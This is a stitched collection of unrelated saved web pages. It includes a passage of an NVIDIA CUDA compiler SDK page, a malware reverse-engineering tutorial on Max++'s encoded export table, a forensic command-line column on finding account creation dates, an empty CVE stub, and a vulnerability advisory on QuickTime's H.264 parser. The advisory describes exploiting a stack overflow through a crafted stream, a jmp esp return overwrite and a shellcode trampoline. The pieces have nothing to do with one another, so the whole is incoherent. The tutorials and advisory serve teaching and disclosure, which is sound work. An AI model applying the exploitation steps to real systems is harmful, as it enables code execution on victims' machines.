    * CLANG, front end for C/C++

The SDK contains samples which demostrate how to compile the R code below and
generate the graphical results shown.

[code]

    # define the code for Mandelbrot
    mandelbrot <- function(x0, y0)
    {
      iteration <- 0L;
      max_iteration <- 50L;
      x <- 0;
      y <- 0;
      while ( (x*x + y*y < 4) &&
            (iteration < max_iteration) )
      {
        xtemp <- x*x - y*y + x0;
        y = 2*x*y + y0;
        x = xtemp;
        iteration = iteration + 1L;
      }
      color = iteration;
      color;
    }
    # create data, compile and run and get results!
    dv_points_x=rg.dv(points_x);
    dv_points_y=rg.dv(points_y);
    dv_points_color = rg.gapply(mandelbrot,
                         dv_points_x, dv_points_y);
    colorvec = as.integer(dv_points_color);
    
[/code]

|  <img
src='http://developer.nvidia.com/sites/default/files/akamai/cuda/images/mandelbot_image.jpg'
/>  
---|---  
##  Download the Compiler SDK

The CUDA Compiler SDK will be made available to our CUDA registered developers
during GTC 2012 next week, please join the CUDA Registered Developer Program
today to be kept informed of the SDK's availability.

##  Getting Support

  * NVIDIA registered developers can file bugs via the CUDA Registered Developer Program
  * Support is also available for all developers on our developer forums, please use the "NVVM" tag

##  Source Availability

NVIDIA has contributed key enhancements to the LLVM project to enable support
of CUDA and massively parallel accelerators such as GPUs. Source is available
from the LLVM Project Home Site.

# Dr. Fu's Security Blog: Malware Analysis Tutorial 9: Encoded Export Table

**Created:**| _1/3/2012 4:13:57 PM_  
---|---  
**Updated:**| _1/3/2012 4:13:57 PM_  
**Author:**| __  
**Tags:**| _Malware-analysis Tutorials_  
  

### Malware Analysis Tutorial 9: Encoded Export Table

**Learning Goals** :  
  

  1. Practice reverse engineering techniques.
  2. Understand basic checksum functions.

**Applicable to:**  

  1. Operating Systems.
  2. Computer Security.
  3. Assembly Language

  
_**1\. Introduction**_  
This tutorial answers the challenges in Tutorial 8. We explain the operations
performed by Max++ which are related to export table. In this tutorial, we
will practice analyzing functions that do not follow C language function
parameter conventions, and examine checksum and encoding functions.  
  
_**2\. Lab Configuration**_  
You can either continue from Tutorial 8, or follow the instructions below to
set up the lab. Refer to Tutorial 1 and Tutorial 4 for setting up VBOX
instances and WinDbg.  
\(1\) In code pane, right click and go to expression "0x40105c"  
\(2\) right click and then "breakpoints -> hardware, on execution"  
\(3\) Press F9 to run to 0x40105c  
\(4\) If you see a lot of DB instructions, select them and right click ->
"During next analysis treat them as Command".  
\(5\) Exit from IMM and restart it again and run to 0x40105c. Select the
instructions \(about 1 screen\) below 0x40105c, right click -> Analysis->
Analyze Code. You should be able to see all loops now identified by IMM.  
  
_**3\. Analysis of Code from 0x40108C to0x4010C4**_  
We now continue the analysis of Tutorial 8, which stops at 0x401087.  
  
<img src='img/Temp2_2434.jpg' />  
---  
Figure 1. Code from 0x40108C to 0x4010C4  
Recall that EAX at this moment points to the beginning of DLL base. From
Figure 1 of Tutorial 8, we can infer that offset 120 \(0x78\), it is the
EXPORT TABLE beginning address, and at offset 124 \(0x7c\), it is the EXPORT
TABLE size. So the instruction _**COMP DWORD DS:\[EAX+7C\], 0**_ is to compare
the size of export table with 0. Clearly, the JE instruction at 0x401091 will
not be executed and the control flow will continue to 0x40109F.  
  
Now let's observe the instruction _**MOV EDX, DWORD PTR DS:\[ESI+18\]**_. Note
that ESI, after being set by instruction at 0x40108A, is now pointing at the
export table. It contains value 0X7C903400 \(which is the starting address of
the export table\). In Section 3 of Tutorial 8, we have given the data
structure of the export table. From it, we can infer that offset 0x18 is the
number of names. Thus, after the instruction is executed, EDX has the number
of names \(0x523\) exported from ntdll.dll.  
  
Using the same technique, we can infer that the subsequent instructions
\(0x4010AD to 0x4010C4\) assigns registers EAX to EDI. We have:  
  
_**EAX**_ <\-- offset \(relative to 0x7C90000 starting of ntdll base\) of the
beginning address of the array that stores function entry addrsses  
_**EBX**_ <\-- offset of the beginning of the array that stores the names of
the functions  
_**EDI**_ <\-- offset of the array that stores the name ordinals \(as we
mentioned earlier, to find the entry address of a function, we have to find
its index of the function name in the function name array, and then use the
index to find the ordinal, and then use the ordinal to locate the entry
address in the array of function entry address\)  
  
We can verify the above analysis. Take EBX as one example, its value is
0x7C9048B4. The following is the dump of the memory starting from that
address. Note that each element is the "offset of the name". So the first
element is 0x00006790 \(it actually means that the string is located at
0x7C906790\), and similarly, the second string is located at 0x7C9067A9.
Figure 3 now displays the contents at 0x7C906790 \(you can see that the first
function name is CsrAllocateCaptureBuffer\).  
  
  
<img src='img/Temp2_2436.jpg' />  
---  
Figure 2: Array of Function Names  
  

  

<img src='img/Temp2_2435.jpg' />  
---  
Figure 3: The Strings  
  

_**4\. Analysis of Function 0x004138A8**_  
Now we proceed to the instruction at 0x004010C6 \(see Figure 1\). It calls the
function located at 0x004138A8. Figure 4 shows a part of the function.  
  
<img src='img/Temp2_2431.jpg' />  
---  
Figure 4: Function 0x004138A8  
Notice that malware authors will not simply follow C language calling
conventions \(i.e., to push parameters into stack\). Instead, they may use
registers directly to pass information between function calls. To analyze the
functionality/purpose of a function, we need to figure out: \(1\) what are the
inputs and outputs? \(2\) and then the logic of the function.  
  
To figure out the _**input parameters**_ of the function, we look at those
registers that are READ before assigned. Looking at the instructions beginning
at 0x004138A8, we soon identify that EAX is the input parameter, at this
moment its value is 0x00002924. Recall that in Section 3, it contains the
offset of the beginning of the array that contains function entry addresses,
i.e., 0x7C902924 is the beginning of the array that contains function entry
addresses.  
  
Then starting from 0x004138A9, the next few arithmetic instructions seem to be
rounding the value of ECX based on EAX. Now Figure 5 shows the second half of
the function. There are two interesting instructions, first the instruction at
0x0041389A \(it is to reduce the value of EAX by 0x1000 inside a loop\), and
then the instruction of 0x413893, it is to exchange the value of EAX and ESP.  
  
So the eventual output is the ESP register, which has multiples of 0x1000
bytes \(in our case 0x2000 bytes\) reduced compared with its original value.  
  
In a word, the function at 0x004138A8 expands the stack frame \(recall the
stack grows from higher address to lower address\) by 0x2000 bytes. _**Why? It
is used to hold the new export table, which is encoded\!**_  
  
_**Challenge 1 of the Day: where does the new export table start?**_  
  
  
<img src='img/Temp2_2432.jpg' />  
---  
Figure 5: Second Half of Function 0x004138A8  
_**5\. Rest of Encoding Function**_  
We now proceed to analyze the code between 0x4010CB to 0x40113B. Note that the
expanded stack now includes around 0x2000 bytes from 0x0012D66C. This is going
to hold encoded export table. This encoded table \(its format\) is defined by
the malware author himself/herself. Each entry has two elements and each
element 4 bytes. The first element is the checksum of the function name, and
the second is the function address. Later, the Max++ malware is able to invoke
the system functions in ntdll.dll without resolving them using the export
table of ntdll.dll, but using its own encoded table.  
  
  
  
<img src='img/Temp2_2433.jpg' />  
---  
Figure 6. Code from 0x4010CB to 0x40113B  
Most of the program logic is pretty clear. Instructions from 0x4010D0 to
0x40DF save some important information to stack. Now \[EBP-C\] and \[EBP-14\]
both have value 0x0012D66C \(which is ESP+C\). This is going to be the
beginning of the encoded table, which will be demonstrated by the code later.  
  
Then there is a 2-layer nested loop from 0x004010F9 to 0x00401136. Let's first
look at the inner loop from 0x401103 to 0x401110. Clearly, EAX is the input
for this inner loop and note that EAX is pointing to the array of chars that
represent the function name \(at 0x004010FB\). At 0x401110, EAX is incremented
by one in each iteration of the inner loop. Clearly, the inner loop is doing
some _**checksum**_ computation of the function name. In the checksum loop,
there are two registers being written by the code: EDX and ECX. If you read
the code carefully, you will note that the value of EDX is overwritten
completely in each iteration \(note instruction at 0x401103\). Only ECX's
previous value affects its next value. _**Thus ECX must be the output and it
saves the checksum\!**_  
  
Then the instructions from 0x401117 to 0x401133 are to set up the entry for
the function. The instruction at 0x40111D \(MOV DS:\[EAX\], ECX\) is to save
the checksum of the function to the first element, and then the instruction at
0x0040112B saves the function address as the second element.  
  
_**Challenge 2 of the Day: Explain the logic of EDX+ECX\*4 of the instruction
at 0x00401122. Hint: study the use of ordinal numbers in export table.**_  
  
  
  
_**5\. Conclusion**_  
Our conclusion is: Max++ reads the export table of ntdll.dll and builds an
encoded export table for itself. We will later see its use.  
  
_**6\. Challenge of the Day**_  
At 0x0040113E, Max++ calls 0x0040165E. Analyze the functionality of
0x0040165E.

# Command Line Kung Fu: Episode \#15: New User Created When?

**Created:**| _5/16/2009 10:33:32 AM_  
---|---  
**Updated:**| _5/16/2009 10:33:35 AM_  
**Author:**| __  
**Tags:**| _commandline-kungfu_  
  

### Episode \#15: New User Created When?

Last week, Mr. Byte Bucket \(middle name "Mercy"\), posed a kung fu challenge
to me based on a discussion in the pauldotcom IRC channel. He asked:  
  
"How can I determine the account creation time for a local account on a
Windows host from the command-line?"  
  
Folks in the channel had suggested:  
  

[code]

    C:\> wmic useraccount get name,localaccount,installdate
[/code]

  
Unfortunately, the installdate is never populated, so we can't get any love
there.  
  
Another suggested:  
  

[code]

    C:\> net user [UserName]
    
[/code]

  
That's a little better, in that it has some actual data. But, the dates it
contains are when the password was last set. If the password was set at
account creation, it'll be the creation date. But, that inference might be a
bit much.  
  
An item I've found very helpful that is a somewhat close proxy for account
creation time is the time that the account is first used to logon to the box.
We can see that by looking at the creation date of the home directory of the
account:  
  

[code]

    C:\> dir /tc "C:\Documents and Settings\"  
      
    
    
[/code]

Or, on Vista, where they moved User accounts by default to C:\users:  
  

[code]

    C:\> dir /tc C:\Users\  
    
    
[/code]

  
As we've seen in past episodes, /t means time, and the c option means creation
time. Look at the creation time of the directory of the user your are
interested in, and that's often even more useful than the original creation
time of the account itself.  
  
But, it's kind of side-skirting the issue, no? How can you find the actual
time of account creation, independent of its use to logon? For that, we can
turn to the event logs, provided the system is configured to "Audit account
management", which sadly, is turned off by default.  
  
If you have it turned on, though, you can query it on XP Pro using the great
built-in VBS script called eventquery.vbs, used thusly:  
  

[code]

    C:\> cscript c:\windows\system32\eventquery.vbs /L security /FI "id eq 642"  
    
    
[/code]

  
That shows us what we want on Windows XP and 2003 Server. Frustratingly, our
great buddies at Microsoft removed eventquery.vbs from Vista. Thanks for
nuthin' guys.  
  
But, what Microsoft takes, the often give back, in a completely different and
far more complex and bewildering form. In place of eventquery.vbs, we now get
wevtutil, a command-line tool for interacting with event logs. We can query
logs using:  
  

[code]

    C:\> wevtutil qe security /f:text "/q:*[System[(EventID=4720)]]" | more  
    
    
[/code]

  
The wevtutil query syntax is impossibly complex, and something I frankly
loath. Note that you have to get the case right on EventID or else it won't
work. But, this command will show you a huge amount of information about any
accounts created locally on the system, including the date, time, SID creating
the account, SID of the created account, UAC settings for the account, and so
on.  
  
Fun, fun, fun\!  
  
Hal Says:  
  
I really wish I could claim that Linux and Unix were somehow superior to
Windows in terms of solving this problem, but like Windows we don't track
account creation events as a general rule. Obviously there are exceptions
because of additional levels of logging, such as when you use sudo to create
accounts or enable kernel-level auditing. However, even these approaches could
be subverted by a clever attacker.  
  
So we're left using the same sorts of proxies that Ed uses in his Windows
example. You can normally find the date of last password change in the third
field of a user's /etc/shadow entry:  
  

[code]

    hal:<hash censored>:14303:0:99999:7:::
    
[/code]

  
The value is in days since the beginning of the Unix "epoch" \(Jan 1, 1970\).
If you happen to have the "convdate" program installed \(it's part of the
"inn" package on my Red Hat systems\), you can use it to convert these dates:  
  

[code]

    # **/usr/lib/news/bin/convdate -c \  
     `awk -F: '/^hal:/ {print $3 * 86400}' /etc/shadow`**  
    Fri Feb 27 16:00:00 2009
    
[/code]

  
"convdate -c" converts the number of seconds since the Unix epoch to a human-
readable date. So we use awk to extract the third field of my /etc/shadow
entry and multiply this value by 86400 \(24hrs \* 60min \* 60sec\).  
  
There are some problems with this approach, however. First, as Ed points out,
this only gets you the time of the last password change for the user. If you
force users to change passwords regularly, this will only get you the creation
time of recently created accounts. Second, this approach only works if you
keep user account information in the local passwd and shadow files-- if you
use directory services like Kerberos and LDAP, then all bets are off. Third,
it's certainly possible for an attacker who's broken root to create a local
account and modify the third field of /etc/shadow, or simply not populate this
field to begin with.  
  
Ed's next suggestion is to look at the creation date on the user's home
directory. As I mentioned in Episode \#11, Unix doesn't track creation times
on files. So you're left with using inode numbers as suggested in Episode \#11
in order to make a guess at relative creation dates of different user home
directories. It might actually be more fruitful to look at the last modified
times on various "dot files" in the user's home directory, since users don't
tend to mess around with these much once they get their environment customized
the way they want it:  
  

[code]

    # **ls -ltd /home/hal/.[^.]* | tail -1**  
     -rw-r--r--  1 hal  users   1254 Aug 20  2007 /home/hal/.bashrc
    
[/code]

  
There's a couple of interesting things going on in the command above. First
we're telling "ls" to give us a detailed listing so we see the timestamps
\("-l"\), not to list the contents of matching directory names but just list
the directories themselves \("-d"\), and to sort the listing by last modified
time with the most recent entries first \("-t"\). Notice that we're also using
the syntax ".\[^.\]\*" just to match the dot files and directories  _without_
matching the ".." link that refers to the parent directory. "tail -1" just
pulls off the oldest entry.  
  
Still there are problems with this approach as well. The biggest problem is
why would an attacker necessarily create a home directory for the back-door
accounts they've created on your system? Even if they did do this for some
reason, you can't trust the timestamps on the files because the attacker may
have modified them-- even setting them backwards if they've successfully
broken root.  
  
How about Ed's idea of checking the first login date for the account? There
are a couple of different places we could go to look for this. First we could
use the "last" command to dump the wtmp log entries for a particular user in
reverse chronological order \(most recent to oldest\):  
  

[code]

    # **last hal | tail -3**  
     hal      pts/0        elk.deer-run.com Mon Mar  9 07:02 - 10:02  (02:59)  
      
    wtmp begins Sun Mar  8 04:04:53 2009
    
[/code]

  
As you can see from the output above, however, the wtmp logs normally get
turned over every so often. It's possible that the first login for this user
actually happened prior to March 8th, but we can't see it because it's no
longer in the log.  
  
There's also the Syslog stream for the system. Login events usually end up in
a file like /var/log/auth.log or /var/log/secure \(see /etc/syslog.conf for
where "auth" logs end up on your particular flavor of Unix\). Again, however,
these logs normally get "rotated" on a regular basis, so you'll want to make
sure you search the entire set of logs for the oldest entry:  
  

[code]

    # **grep hal /var/log/secure* | tail**  
    [...]  
    /var/log/secure.4:Mar  1 21:37:49 deer sshd[23446]: Accepted password for hal from 192.168.100.1 port 12501 ssh2  
    /var/log/secure.4:Mar  1 21:37:49 deer sshd[23446]: pam_unix(sshd:session): session opened for user hal by (uid=0)  
    /var/log/secure.4:Mar  1 21:45:42 deer sshd[23446]: pam_unix(sshd:session): session closed for user hal  
    
    
[/code]

  
Notice that in fact these login events do pre-date the wtmp entries we saw
from the "last" command above. But even these logs don't go much further back
than our wtmp data and we're left to wonder if there were earlier login events
that we're not seeing. By the way, since attackers who gain access to the
system can modify the logs and remove traces of their logins, you're better
off having a copy of these logs on a central, secure log server for your
enterprise.  
  
One thing you must to be aware of, however, is that both wtmp style and Syslog
logging of user access is  _not mandatory_ on Unix systems. In other words,
you get these logs because the application developers of SSH, /bin/login, etc
have all decided to add the code to their applications to update the logs as
appropriate. However, an attacker who plants a back door on your system is
unlikely to elect to log the activity of that back door. So again you need to
enable extra levels of logging like kernel-level auditing in order to have an
application-independent log of events on the system.  
  
Bottom line is that I suggest establishing an external control of some sort
that monitors your user database \(in whatever form it happens to live in\)
and alerts you to not only new account creations, but also account deletions,
and account lock/unlock activity. You should probably also monitor for
unauthorized changes to the passwords for "system" type accounts like root,
oracle, and the database access accounts for web applications and the like.

# CVE-2013-3845

**Created:**| _10/29/2013 9:38:02 AM_  
---|---  
**Updated:**| _10/29/2013 9:41:22 AM_  
**Author:**| _wishi_  
**Tags:**| _Debugging Exploit papers windows environment windbg Heap_  
  

<img src='img/CVE-2013-3845.zip' width='265' height='49' />  

<img src='img/CVE-2013-3845.pdf' width='100%' height='17628' />

# Apple QuickTime Player H.264 issues

**Created:**| _10/20/2011 11:40:19 AM_  
---|---  
**Updated:**| _10/20/2011 11:40:19 AM_  
**Author:**| __  
**Tags:**| _reversing Mac-hacking_  
  

## Apple QuickTime Player H.264 issues

Details

     Category: Advisories
     Published on Thursday, 01 September 2011 20:26 
     Written by rmallof 
Some months ago, analyzing module in charge to parse H.264 compressed data in
QuickTime Player, were found exactly two vulnerabilities in the way it do it.

First we need document this codec. The basic from
http://en.wikipedia.org/wiki/H.264/MPEG-4\_AVC :

“**H.264/MPEG-4 Part 10** or **AVC** \(Advanced Video Coding\) is a standard
for video compression, and is currently one of the most commonly used formats
for the recording, compression, and distribution of high definition video.”

Looking for more info, could be found that the coded video data is organized
into _NAL Units_, which contains besides that a header with information about
data \(like type of the structure contained\), and the size of each variable:

<img src='img/Temp2_867.png' width='474' height='273' />

This pseudo-code structure and the other that we need can be found at _ITU-T
H.264_ with terms, algorithms to encode / decode data, and so on; speaking
regarding algorithms and according to documentation, we should find three
parsers:

\- to **_Exponential-Golomb_** coding;

\- to _CAVLC_ for transform coefficients levels;

\- to _CABAC_ for slice data;

_Exponential-Golomb_ is responsible of decoding the syntax elements of the
corresponding structures, and necessary for us on this case.

The process to decode unsigned integers begins looking for the MSB in stream
setted to 1 and counting the leading bits equals to zero. Some like this:

**zeroBits = -1;**

**for\(b = 0; \!b; zeroBits++\) \{**

**b = read\_bits\(1\);**

**\}**

Then, _zeroBits_ acts like exponent in base two and like the number of bits to
read this time:

**_codeNum = \(2\*\*zeroBits\) - 1 + read\_bits\(zeroBits\);_**

_  
_

Like you can see, this algorithm allows us generate values from a
**_base_**\(\(2 \*\* zeroBits\) - 1\) and then add it to an
**_offset_**\(_read\_bits\(zeroBits\)_\)_,_ our selected value.

Since we have the exponent value equals to number of bits to read, when we
need to read a large _offset_ the _base_ value will grow too, losing precision
to generate all values. This issue will bring us problems in the exploitation
process, as we shall see later.

Here is code example about implementation of last algorithm from
_QuickTimeH264.qtx_ :

**.text:681D4A39 loc\_681D4A39:** **.text:681D4A39**** ****bsr eax,
\[esp+84h+SliceHeader\]** **.****text:681D4A3E**** ****mov ecx, 3Fh**
**.text:681D4A43******** ****cmovz eax, ecx** **.text:681D4A46**** ****xor
eax, 1Fh** **.text:681D4A49**** ****mov \[esp+84h+var\_48\], eax**
**.text:681D4A4D**** ****mov edx, \[esp+84h+var\_48\]**
**.text:681D4A51******** ****mov eax, \[esp+84h+SliceHeader\]**
**.text:681D4A55******** ****lea ecx, \[edx+1\]** **.text:681D4A58********
****shl eax, cl** **.text:681D4A5A**** ****mov ecx, 20h**
**.text:681D4A5F******** ****sub ecx, edx** **.text:681D4A61******** ****mov
ebx, 1** **.text:681D4A66******** ****shr eax, cl** **.text:681D4A68********
****mov ecx, edx** **.text:681D4A6A******** ****neg ecx**
**.text:681D4A6C******** ****sbb ecx, ecx** **.text:681D4A6E**** ****and eax,
ecx** **.text:681D4A70 mov ecx, edx** **.text:681D4A72 shl ebx, cl**
**.text:681D4A74 lea edx, \[ebp+edx\*2+1\]** **.text:681D4A78 mov
\[esp+84h+SliceHeader\], eax** **.text:681D4A7C lea eax, \[ebx+eax-1\]**
**.text:681D4A80 mov ebx, edx** **.text:681D4A82 shr edx, 3** **.text:681D4A85
add esi, edx**  
---  
Decoding unsigned integers with Exponential - Golomb

0k, as I said, this is the process to decode unsigned integers for structures,
so what about this structures? His names are _Sequence Parameter Set \(SPS\),
Picture Parameter Set \(PPS\),_ and _Slice Header_ , and here are their
definitions:

  * **Sequence parameter set** : A syntax structure containing syntax elements that apply to zero or more entire coded video sequences as determined by the content of a seq\_parameter\_set\_id syntax element found in the picture parameter set referred to by the pic\_parameter\_set\_id syntax element found in each slice header:

<img src='img/Temp2_866.png' width='546' height='767' />

  * **Picture parameter set** : A syntax structure containing syntax elements that apply to zero or more entire codedpictures as determined by the pic\_parameter\_set\_id syntax element found in each slice header:

<img src='img/Temp2_871.png' width='545' height='738' />

  * **Slice header** : A part of a coded slice containing the data elements pertaining to the first or all macroblocks represented in the **slice** \(this is an integer number of macroblocks or macroblock pairs ordered consecutively in the raster scan within a particular _slice group_\):

<img src='img/Temp2_865.png' width='532' height='764' />

Knowing QuickTime movie container format \(“.mov” extension\) are organized by
_Atoms_ , we could situate the H.264 bit stream containing last three structs
on _MDAT atom_.

Thus QuickTime starts looking for _Nal Units_ on stream with
**_nal\_unit\_type_** indicating SPS or PPS structures on **6810F040** and
checks if any. If yes, first decodes SPS on _QuickTimeH264.qtx\!**68192FB0**
_and then PPS on _QuickTimeH264.qtx\!**68190100** ; _the algorithm need decode
last two structs to parse Slice Header.

After at  _QuickTimeH264.qtx\!**68194810** , _while decoding Slice Header,
application checks either
_Slice\_Header.Num\_Ref\_IDX\_Active\_Override\_Flag_ is setted or not, a flag
indicating if our Slice Header has been created with
_Num\_Ref\_IDX\_l0\_Active\_Minus1_ and  _Num\_Ref\_IDX\_l1\_Active\_Minus1_
fields.

What says specification about this values?:

_num\_ref\_idx\_l0\_active\_minus1_ specifies the maximum reference index for
reference picture list 0 that shall be used to decode each slice of the
picture in which list 0 is used when num\_ref\_idx\_active\_override\_flag is
equal to 0 for the slice. \[…\]**The value of
num\_ref\_idx\_l0\_active\_minus1 shall be in the range of 0 to 31,
inclusive.**

A new structure is present, **_Slice\_Header_._ref\_pic\_list\_reordering_** ,
and last fields are indicating size of data contained on here:

<img src='img/Temp2_868.png' width='600' height='400' />

Looking for members on spec, we can see:

'**ref\_pic\_list\_reordering\_flag\_l0** equal to 1 specifies that the syntax
element

**reordering\_of\_pic\_nums\_idc** is present for specifying reference picture
list 0. ref\_pic\_list\_reordering\_flag\_l0 equal to 0 specifies that this
syntax element is not present.

When **ref\_pic\_list\_reordering\_flag\_l0** is equal to 1, the number of
times that reordering\_of\_pic\_nums\_idc is not equal to 3 following
ref\_pic\_list\_reordering\_flag\_l0 shall not exceed

num\_ref\_idx\_l0\_active\_minus1 + 1.

When RefPicList0\[ num\_ref\_idx\_l0\_active\_minus1 \] in the initial
reference picture list produced as specified in subclause 8.2.4.2 is equal to
"no reference picture", ref\_pic\_list\_reordering\_flag\_l0 shall be equal to
1 and reordering\_of\_pic\_nums\_idc shall not be equal to 3 until
RefPicList0\[num\_ref\_idx\_l0\_active\_minus1 \] in the reordered list
produced as specified in subclause 8.2.4.3 is not equal to "no reference
picture".'

And:

'reordering\_of\_pic\_nums\_idc together with abs\_diff\_pic\_num\_minus1 or
long\_term\_pic\_num specifies which of the reference pictures are re-mapped.
The values of reordering\_of\_pic\_nums\_idc are specified below. The value of
the first reordering\_of\_pic\_nums\_idc that follows immediately after
ref\_pic\_list\_reordering\_flag\_l0 or ref\_pic\_list\_reordering\_flag\_l1
shall not be equal to 3.

**reordering\_of\_pic\_nums\_idc Reordering specified**

0 abs\_diff\_pic\_num\_minus1 is present and corresponds to a difference to
subtract from a picture number prediction value

1  abs\_diff\_pic\_num\_minus1 is present and corresponds to a difference to
add to a picture number prediction value

2 long\_term\_pic\_num is present and specifies the long-term picture number
for a reference picture

3 End loop for reordering of the initial reference picture list”

This number is result of decoding our crafted data, and as you can see, his
value indicates type of reference pictures, but value 3 indicates end of
stream being decoded.

In other words, it break loop.

Also, if we look PPS structure we will see it has fields with same name,
num\_ref\_idx\_l0\_active\_minusX, cause this will be used as values to Slice
Header fields if _Slice\_Header.Num\_Ref\_IDX\_Active\_Override\_Flag_ == 0:

**** **.text:681950BB check\_reordering\_flag: ; CODE XREF:
parseSliceHeader+88Cj** **.text:681950BB ; parseSliceHeader+891j**
**.text:681950BB ; parseSliceHeader+896j** **.text:681950BB ;
parseSliceHeader+89Bj** **.text:681950BB ; parseSliceHeader+8A0j**
**.text:681950BB shr eax, 1Fh ; Bit - stream** **.text:681950BE mov
\[edi+Slice\_Header.Num\_Ref\_IDX\_Active\_Override\_Flag\], al**
**.text:681950C1 mov eax, \[esp+84h+var\_68\]** **.text:681950C5 add eax, 1**
**.text:681950C8 mov edx, eax** **.text:681950CA and edx, 7** **.text:681950CD
shr eax, 3** **.text:681950D0 mov ebp, edx** **.text:681950D2 add esi, eax**
**.text:681950D4 mov \[esp+84h+var\_68\], ebp** **.text:681950D8 mov
\[esp+84h+counter\], esi** **.text:681950DC mov ecx, \[esp+84h+counter\]**
**.text:681950E0 mov edx, ecx** **.text:681950E2 and edx, 0FFFFFFFCh**
**.text:681950E5 neg ecx** **.text:681950E7 mov ebx, \[edx\]**
**.text:681950E9 lea ecx, \[edx+ecx+4\]** **.text:681950ED mov edx,
\[edx+4\]** **.text:681950F0 bswap ebx** **.text:681950F2 shl ecx, 3**
**.text:681950F5 bswap edx** **.text:681950F7 shrd edx, ebx, cl**
**.text:681950FA cmp ecx, 20h ; ' '** **.text:681950FD cmovz edx, ebx**
**.text:68195100 mov \[esp+84h+SliceHeader\], edx** **.text:68195104 mov eax,
\[esp+84h+SliceHeader\]** **.text:68195108 mov ecx, ebp** **.text:6819510A shl
eax, cl** **.text:6819510C cmp
\[edi+Slice\_Header.Num\_Ref\_IDX\_Active\_Override\_Flag\], 0**
**.text:68195110 mov \[esp+84h+SliceHeader\], eax** **.text:68195114 jz
default ** **...** **.text:681951F3 default: ; CODE XREF:
parseSliceHeader+904j** **.text:681951F3 mov ecx, \[esp+84h+PPS\]**
**.text:681951F7 mov edx, \[ecx+PPS.Num\_Ref\_IDX\_l0\_Active\_Minus1\]**
**.text:681951FA mov \[edi+Slice\_Header.Num\_Ref\_IDX\_l0\_Active\_Minus1\],
edx** **.text:681951FD mov ecx,
\[ecx+PPS.Num\_Ref\_IDX\_l1\_active\_minus1\]** **.text:68195200 mov
\[edi+Slice\_Header.Num\_Ref\_IDX\_l1\_active\_minus1\], ecx**  
---  
But if flag is setted, _Slice\_Header.Num\_Ref\_IDX\_l0\_Active\_Minus1_
and/or _Slice\_Header.Num\_Ref\_IDX\_l1\_Active\_Minus1_ are decoded **again**
from input stream on fields within the same name on _Slice\_Header_ :

**** **.text:68195114 jz default** **.text:6819511A bsr eax,
\[esp+84+SliceHeader\] ; decode our value** **.text:6819511F mov ecx, 3Fh ;
'?'** **.text:68195124 cmovz eax, ecx** **.text:68195127 xor eax, 1Fh**
**.text:6819512A mov \[esp+84h+var\_34\], eax** **.text:6819512E mov edx,
\[esp+84h+var\_34\]** **.text:68195132 mov eax, \[esp+84h+SliceHeader\]**
**.text:68195136 lea ecx, \[edx+1\]** **.text:68195139 shl eax, cl**
**.text:6819513B mov ecx, 20h** **.text:68195140 sub ecx, edx**
**.text:68195142 mov ebx, 1** **.text:68195147 shr eax, cl** **.text:68195149
mov ecx, edx** **.text:6819514B neg ecx** **.text:6819514D sbb ecx, ecx**
**.text:6819514F and eax, ecx** **.text:68195151 mov ecx, edx**
**.text:68195153 shl ebx, cl** **.text:68195155 mov \[esp+84h+SliceHeader\],
eax** **.text:68195159 mov ecx, ebp** **.text:6819515B lea eax, \[ebx+eax-1\]
; get size** **.text:6819515F mov
\[edi+Slice\_Header.Num\_Ref\_IDX\_l0\_Active\_Minus1\], eax ; p0wned\! **  
---  
_Num\_Ref\_IDX\_lX\_Active\_Minus1 values has been checked on
QuickTimeH264.qtx\!68190100 \( >= 0 && <= 31\), but this time simply not._

Then this value is used to decode _ref\_pic\_list\_reordering,_ if any, to
stack-based buffer present on QT Slice Header struct:

**** **00000000 SliceHeader struct** **...** **00000150
ref\_pic\_list\_reordering\_buffer\_l0  db 132 dup\(?\)** **000001d4
ref\_pic\_list\_reordering\_buffer\_l1  db 132 dup\(?\)** **...**  
---  
Like you can see on _ref\_pic\_list\_reordering_ definition we need set some
fields more to the decoding :

  * _ref\_pic\_list\_reordering\_flag\_l0/1_
  *  _reordering\_of\_pic\_nums\_idc_

Remembering to set ** _reordering\_of\_pic\_nums\_idc \!= 3_** to not break
loop and **without checks against _Num\_Ref\_IDX\_lX\_Active\_Minus1_** _,_ we
can craft a stream \(..F8025b80..\) to overflow
_Slice\_Header.ref\_pic\_list\_reordering\_buffer\_l0 or
Slice\_Header.ref\_pic\_list\_reordering\_buffer\_l1_ in this loop
\(QuickTimeH264\!_681952A0_\):

<img src='img/Temp2_864.png' width='482' height='610' />

Exactly:

**** **.text:68195289 mov \[esp+84h+counter\], 0** **.text:68195291 lea ebp,
\[edi+Slice\_Header.ref\_pic\_list\_reordering\_buffer\_l0\]**
**.text:68195297 jmp short get\_reordering\_of\_pic\_nums\_idc** **...**
**.text:681952A0 get\_reordering\_of\_pic\_nums\_idc:** **.text:6819531D bsr
eax, \[esp+84h+SliceHeader\]** **...** **** **.text:68195360 mov \[ebp+0\],
eax ; stack overflow\!** **.text:68195363 jmp short check\_limit**
**.text:681953B4 check\_limit: ; CODE XREF: parseSliceHeader+B53j**
**.text:681953B4 mov ecx, \[esp+84h+var\_68\]** **.text:681953B8 lea eax,
\[ecx+edx\*2+1\]** **...** **.text:681953D2 mov ecx, \[esp+84h+counter\]**
**.text:681953D6 cmp ecx,
\[edi+Slice\_Header.Num\_Ref\_IDX\_l0\_Active\_Minus1\]** **.text:681953D9 mov
\[esp+84h+SliceHeader\], eax** **.text:681953DD ja out** **.text:681953E3 add
\[esp+84h+counter\], 1** **.text:681953E8 add ebp, 4** **.text:681953EB jmp
get\_reordering\_of\_pic\_nums\_idc** **  
**  
---  
\+ Exploitation:

We already know Exponential-Golomb coding and it loses precission when we set
a high _base_ value, as shown in the following chart \(x = offset, y = base\):

<img src='img/Temp2_863.png' width='300' height='300' />

limiting our data generation; but looking for a nice address we could hit one
decodable: QuickTimePlayerLauncher.exe\!0x00441FFF jmp esp, or encoded:
**0x00000221**.

Overwritting RET address with data resulting of decode 0x221, we can redirect
flow while ESP register are pointing to our decoded data, but to make the job
easier we will insert in stream a trampoline to our uncoded ShellCode
executing minimum coded opcodes.

For this, we going to follow next steps:

1\) Adding, ORing and Shifting values we will get relative distance value of
pointer \(saved in the stack\) pointing to our mapped file from our position.

2\) Substract last value to ESP.

3\) POPing from stack a pointer to our buffer to EDI.

4\) Add value from 1st step to EDI 4 times, just to point to our ShellCode.

5\) CALL EDI.

Here are two images terminating this process:

<img src='img/Temp2_870.png' width='600' height='400' />

Zooming:

<img src='img/Temp2_869.png' width='453' height='127' />

A file sample is avaible cliking here.

Advisories: ZDI-11-255 & ZDI-11-257.

# Moserware: A Stick Figure Guide to the Advanced Encryption Standard \(AES\)

